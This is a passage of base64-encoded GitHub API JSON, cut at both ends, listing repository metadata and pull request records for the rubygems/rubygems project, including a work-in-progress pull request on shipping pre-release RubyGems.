2lraSI6dHJ1ZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjAsIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjAsImxpY2Vuc2UiOnsia2V5Ijoib3RoZXIiLCJuYW1lIjoiT3RoZXIiLCJzcGR4X2lkIjpudWxsLCJ1cmwiOm51bGx9LCJmb3JrcyI6MCwib3Blbl9pc3N1ZXMiOjAsIndhdGNoZXJzIjowLCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiYmFzZSI6eyJsYWJlbCI6InJ1YnlnZW1zOm1hc3RlciIsInJlZiI6Im1hc3RlciIsInNoYSI6Ijk4NjE3OTY3NmZhNTc3NzNhYzY0NjhhZGI4ZDM2Zjk4MjcxNzM0ZjYiLCJ1c2VyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjYxNDA3MCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoicnVieWdlbXMvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6ZmFsc2UsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDEwLTA0LTE2VDE5OjAyOjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDE5OjM2OjA2WiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDVUMDg6MjA6MzVaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnJ1YnlnZW1zL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwczovL3J1YnlnZW1zLm9yZy8iLCJzaXplIjoxNDI5MCwic3RhcmdhemVyc19jb3VudCI6MTkwNiwid2F0Y2hlcnNfY291bnQiOjE5MDYsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJfbGlua3MiOnsic2VsZiI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTM5In0sImh0bWwiOnsiaHJlZiI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIxMzkifSwiaXNzdWUiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMzkifSwiY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMzkvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzIxMzkvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnQiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0ifSwiY29tbWl0cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTM5L2NvbW1pdHMifSwic3RhdHVzZXMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvMzc1ZjUyMWU1ZmRlMTE3MDcyNWMxZGY5YTAwMmE4Njc4ODhmMmQ3MyJ9fSwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjEyOCIsImlkIjoxNjAwMjkwODAsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjEyOCIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjEyOC5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjEyOC5wYXRjaCIsImlzc3VlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMjgiLCJudW1iZXIiOjIxMjgsInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsInRpdGxlIjoiW1dJUF0gU3VwcG9ydCBwcmUtcmVsZWFzZSBSdWJ5R2Vtcy4iLCJ1c2VyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiYm9keSI6IldlIG5lZWQgdG8gc2hpcCBhIHByZS1yZWxlYXNlIHZlcnNpb24gb2YgUnVieUdlbXMgZm9yIGV2YWx1YXRpb24uXHJcblxyXG4iLCJjcmVhdGVkX2F0IjoiMjAxNy0xMi0yNVQwNjo0OToyOFoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0yNlQwMToxMDo0MloiLCJjbG9zZWRfYXQiOm51bGwsIm1lcmdlZF9hdCI6bnVsbCwibWVyZ2VfY29tbWl0X3NoYSI6IjU5ZTZmYjY0ZTQ0YjUxYTk1OGNjMDA2MWYyODMxMGJjY2Q5YTM4N2UiLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwicmVxdWVzdGVkX3Jldmlld2VycyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzIxMjgvY29tbWl0cyIsInJldmlld19jb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzIxMjgvY29tbWVudHMiLCJyZXZpZXdfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEyOC9jb21tZW50cyIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvNDUwYzI4NzRlODYwNzE3OTBiYmFhM2RlZmFlMzY0NmRmYzM0MTY3NCIsImhlYWQiOnsibGFiZWwiOiJydWJ5Z2VtczpzZXQtcHJlcmVsZWFzZS12ZXIiLCJyZWYiOiJzZXQtcHJlcmVsZWFzZS12ZXIiLCJzaGEiOiI0NTBjMjg3NGU4NjA3MTc5MGJiYWEzZGVmYWUzNjQ2ZGZjMzQxNjc0IiwidXNlciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo2MTQwNzAsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6InJ1YnlnZW1zL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOmZhbHNlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9mb3JrcyIsImtleXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9rZXlzey9rZXlfaWR9IiwiY29sbGFib3JhdG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RlYW1zIiwiaG9va3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ldmVudHMiLCJhc3NpZ25lZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaH